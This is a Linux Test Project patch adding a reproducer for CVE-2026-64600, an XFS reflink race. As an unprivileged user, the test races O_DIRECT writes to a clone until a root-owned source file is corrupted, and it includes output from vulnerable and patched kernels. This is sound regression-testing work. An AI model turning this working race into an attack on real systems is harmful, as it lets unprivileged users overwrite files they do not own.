[LTP] [PATCH] cve: reproducer for cve-2026-64600
Andrea Cervesato <[email protected]> Fri, 24 Jul 2026 10:28:20 +0200
| Newsgroups | it.linux.lists.ltp |
|---|---|
| Message-ID | <[email protected]> |
From: Andrea Cervesato <[email protected]> Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS reflink copy-on-write path for direct I/O writes. The bug was introduced in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample the data fork mapping after cycling ILOCK"). Signed-off-by: Andrea Cervesato <[email protected]> --- This reproducer has been created with the usage of Kimi K3 (as analyzer and writer) and DeepSeek v4 Flash (Max) as reviewer, by taking the RefluXFS technical paper as input: https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt On bugged kernel: tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #21 SMP PREEMPT_DYNAMIC Fri Jul 24 10:20:05 CEST 2026 x86_64 tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config' tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s cve-2026-64600.c:233: TFAIL: round 0: racing O_DIRECT write to the clone succeeded [ 1.252815] cve-2026-646 HINT: You _MAY_ be missing kernel fixes: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2f4acd0fcd86 HINT: You _MAY_ be vulnerable to CVE(s): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600 Summary: passed 0 failed 1 broken 0 skipped 0 warnings 0 On patched kernel: tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #20 SMP PREEMPT_DYNAMIC Fri Jul 24 10:08:53 CEST 2026 x86_64 tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config' tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s [ 1.665909] clocksource: Watchdog remote CPU 2 read timed out [ 8.099229] cve-2026-64600 (249) used greatest stack depth: 12216 bytes left cve-2026-64600.c:242: TPASS: Source file survived racing O_DIRECT writers Summary: passed 1 failed 0 broken 0 skipped 0 warnings 0 --- runtest/cve | 1 + testcases/kernel/fs/xfs/.gitignore | 1 + testcases/kernel/fs/xfs/Makefile | 7 + testcases/kernel/fs/xfs/cve-2026-64600.c | 283 +++++++++++++++++++++++++++++++ 4 files changed, 292 insertions(+) diff --git a/runtest/cve b/runtest/cve index 3bbcfd6a2f2fb204fc6ae4ba89b5a7554c2fcbc5..388d471b9d138004207cdef5414e3e78d1980a32 100644 --- a/runtest/cve +++ b/runtest/cve @@ -100,3 +100,4 @@ cve-2026-43494 io_uring04 cve-2026-46300 xfrm02 cve-2026-46300-skb-segment xfrm03 cve-2026-46331 cve-2026-46331 +cve-2026-64600 cve-2026-64600 diff --git a/testcases/kernel/fs/xfs/.gitignore b/testcases/kernel/fs/xfs/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..2b287f6c1195c1307ee8629a282fc4d3f759e5ed --- /dev/null +++ b/testcases/kernel/fs/xfs/.gitignore @@ -0,0 +1 @@ +/cve-2026-64600 diff --git a/testcases/kernel/fs/xfs/Makefile b/testcases/kernel/fs/xfs/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..699efd876f25cb3cd5d86dfe001404f8ebfc4d51 --- /dev/null +++ b/testcases/kernel/fs/xfs/Makefile @@ -0,0 +1,7 @@ +top_srcdir ?= ../../../.. + +include $(top_srcdir)/include/mk/testcases.mk + +LDLIBS += -lpthread + +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/fs/xfs/cve-2026-64600.c b/testcases/kernel/fs/xfs/cve-2026-64600.c new file mode 100644 index 0000000000000000000000000000000000000000..0bca95f8f2ad31f0269de07625d28d733092ef49 --- /dev/null +++ b/testcases/kernel/fs/xfs/cve-2026-64600.c @@ -0,0 +1,283 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <[email protected]> + */ + +/*\ + * Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS + * reflink copy-on-write path for direct I/O writes. The bug was introduced + * in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW + * blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample + * the data fork mapping after cycling ILOCK"). + * + * When an :manpage:`ioctl(2)` FICLONE clone is written via ``O_DIRECT``, + * ``xfs_direct_write_iomap_begin()`` samples the clone's data-fork mapping + * under ILOCK and calls ``xfs_reflink_allocate_cow()``, which drops the + * ILOCK to allocate a transaction and then re-checks whether the *stale* + * physical block is still shared. If a second racing ``O_DIRECT`` writer + * completes a full copy-on-write cycle inside that lock-drop window, the + * old shared block's refcount drops to one, the first writer takes the + * "not shared, write in place" branch, and its write is submitted to the + * physical block that now belongs only to the reflink source file, + * corrupting it on disk. + * + * [Algorithm] + * + * - Create a root-owned target file on a reflink-enabled XFS and fill + * its first block with a known pattern + * - Drop privileges to the unprivileged user ``nobody`` + * - Positive control: a single ``O_DIRECT`` write to a fresh clone must + * be copy-on-written and leave the target untouched + * - Each round: reflink-clone the target into a scratch clone file and + * release a barrier of threads, each issuing one block-sized + * ``O_DIRECT`` :manpage:`pwrite(2)` at offset 0 of the clone + * - Background threads loop on write/fdatasync/truncate cycles to stall + * transaction allocation on log space and widen the lock-drop window + * - After each round, read back the target's first block bypassing the + * page cache (``O_DIRECT``): any byte differing from the original + * pattern means a racing write refluxed into the source file and the + * kernel is vulnerable + * + * Root privilege is regained in cleanup() so the library can unmount + * the loop device. + */ + +#define _GNU_SOURCE + +#include <pwd.h> + +#include "tst_test.h" +#include "tst_safe_pthread.h" +#include "tst_safe_prw.h" +#include "lapi/ficlone.h" + +#define MNTPOINT "mnt" +#define WORKDIR MNTPOINT "/work" +#define TARGET WORKDIR "/target" +#define CLONE WORKDIR "/clone" +#define SCRATCH_FMT WORKDIR "/scratch%d" + +#define BLKSIZE 4096 +#define NWRITERS 32 +#define NPRESSURE 16 +#define MAX_ROUNDS 5000 + +static char *tbuf, *wbuf, *rbuf; + +static int target_fd = -1; +static int target_dio_fd = -1; +static int clone_fd = -1; + +static pthread_t writers[NWRITERS]; +static pthread_t pressure_threads[NPRESSURE]; +static pthread_barrier_t barrier; +static int barrier_initialized; +static volatile sig_atomic_t stop_pressure; +static int pressure_running; +static int privileges_dropped; + +static void *writer_fn(void *arg) +{ + int fd; + + (void)arg; + + fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT); + + SAFE_PTHREAD_BARRIER_WAIT(&barrier); + + SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0); + SAFE_CLOSE(fd); + + return NULL; +} + +static void *pressure_fn(void *arg) +{ + char path[PATH_MAX]; + int fd; + + snprintf(path, sizeof(path), SCRATCH_FMT, (int)(long)arg); + + fd = SAFE_OPEN(path, O_RDWR | O_CREAT | O_TRUNC, 0600); + + while (!stop_pressure) { + SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0); + SAFE_FTRUNCATE(fd, 0); + SAFE_FSYNC(fd); + } + + SAFE_CLOSE(fd); + + return NULL; +} + +static void stop_pressure_threads(void) +{ + if (!pressure_running) + return; + + stop_pressure = 1; + + for (int i = 0; i < NPRESSURE; i++) + SAFE_PTHREAD_JOIN(pressure_threads[i], NULL); + + pressure_running = 0; +} + +static void drop_privileges(void) +{ + struct passwd *pw; + + pw = SAFE_GETPWNAM("nobody"); + SAFE_SETEGID(pw->pw_gid); + SAFE_SETEUID(pw->pw_uid); + + privileges_dropped = 1; +} + +static void restore_privileges(void) +{ + if (!privileges_dropped) + return; + + SAFE_SETEUID(0); + SAFE_SETEGID(0); + + privileges_dropped = 0; +} + +static void setup(void) +{ + int probe_fd, probe_dio_fd; + + tbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE); + wbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE); + rbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE); + + memset(tbuf, 'A', BLKSIZE); + memset(wbuf, 'X', BLKSIZE); + memset(rbuf, 0, BLKSIZE); + + SAFE_MKDIR(WORKDIR, 0700); + SAFE_CHMOD(WORKDIR, 0777); + + target_fd = SAFE_OPEN(TARGET, O_RDWR | O_CREAT | O_TRUNC, 0644); + SAFE_WRITE(1, target_fd, tbuf, BLKSIZE); + SAFE_FSYNC(target_fd); + SAFE_CLOSE(target_fd); + + drop_privileges(); + + target_fd = SAFE_OPEN(TARGET, O_RDONLY); + probe_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600); + + TEST(ioctl(probe_fd, FICLONE, target_fd)); + if (TST_RET == -1) { + if (TST_ERR == EOPNOTSUPP || TST_ERR == EINVAL || TST_ERR == ENOSYS) { + tst_brk(TCONF, "reflink clones not supported: %s", + tst_strerrno(TST_ERR)); + } + + tst_brk(TBROK | TTERRNO, "ioctl(FICLONE) failed"); + } + + probe_dio_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT); + SAFE_PWRITE(1, probe_dio_fd, wbuf, BLKSIZE, 0); + SAFE_CLOSE(probe_dio_fd); + SAFE_CLOSE(probe_fd); + + /* The racy write bypasses the target's page cache, so must the read */ + target_dio_fd = SAFE_OPEN(TARGET, O_RDONLY | O_DIRECT); + + SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0); + if (memcmp(rbuf, tbuf, BLKSIZE)) + tst_brk(TBROK, "Source file modified by a single O_DIRECT write to the clone"); + + SAFE_PTHREAD_BARRIER_INIT(&barrier, NULL, NWRITERS + 1); + barrier_initialized = 1; +} + +static void run(void) +{ + int i, round, corrupted = 0; + + stop_pressure = 0; + + for (i = 0; i < NPRESSURE; i++) + SAFE_PTHREAD_CREATE(&pressure_threads[i], NULL, pressure_fn, + (void *)(long)i); + pressure_running = 1; + + for (round = 0; round < MAX_ROUNDS; round++) { + clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600); + + /* + * target_fd is O_RDONLY opened as "nobody". FICLONE + * checks inode permission against our effective UID. + */ + SAFE_IOCTL(clone_fd, FICLONE, target_fd); + SAFE_CLOSE(clone_fd); + + for (i = 0; i < NWRITERS; i++) + SAFE_PTHREAD_CREATE(&writers[i], NULL, writer_fn, NULL); + + SAFE_PTHREAD_BARRIER_WAIT(&barrier); + + for (i = 0; i < NWRITERS; i++) + SAFE_PTHREAD_JOIN(writers[i], NULL); + + SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0); + + if (memcmp(rbuf, tbuf, BLKSIZE)) { + tst_res(TFAIL, "round %d: racing O_DIRECT write to the clone succeeded", round); + corrupted = 1; + break; + } + } + + stop_pressure_threads(); + + if (!corrupted) + tst_res(TPASS, "Source file survived racing O_DIRECT writers"); +} + +static void cleanup(void) +{ + stop_pressure_threads(); + restore_privileges(); + + if (barrier_initialized) + SAFE_PTHREAD_BARRIER_DESTROY(&barrier); + + if (target_dio_fd != -1) + SAFE_CLOSE(target_dio_fd); + + if (target_fd != -1) + SAFE_CLOSE(target_fd); + + if (clone_fd != -1) + SAFE_CLOSE(clone_fd); + + free(tbuf); + free(wbuf); + free(rbuf); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNTPOINT, + .filesystems = (struct tst_fs []) { + {.type = "xfs"}, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "2f4acd0fcd86"}, + {"CVE", "2026-64600"}, + {} + }, +}; --- base-commit: d12a6186b60491cfa72e10944bd312e75b684c5e change-id: 20260724-cve-2026-64600-53fd6d627d63 Best regards, -- Andrea Cervesato <[email protected]> -- Mailing list info: https://lists.linux.it/listinfo/ltp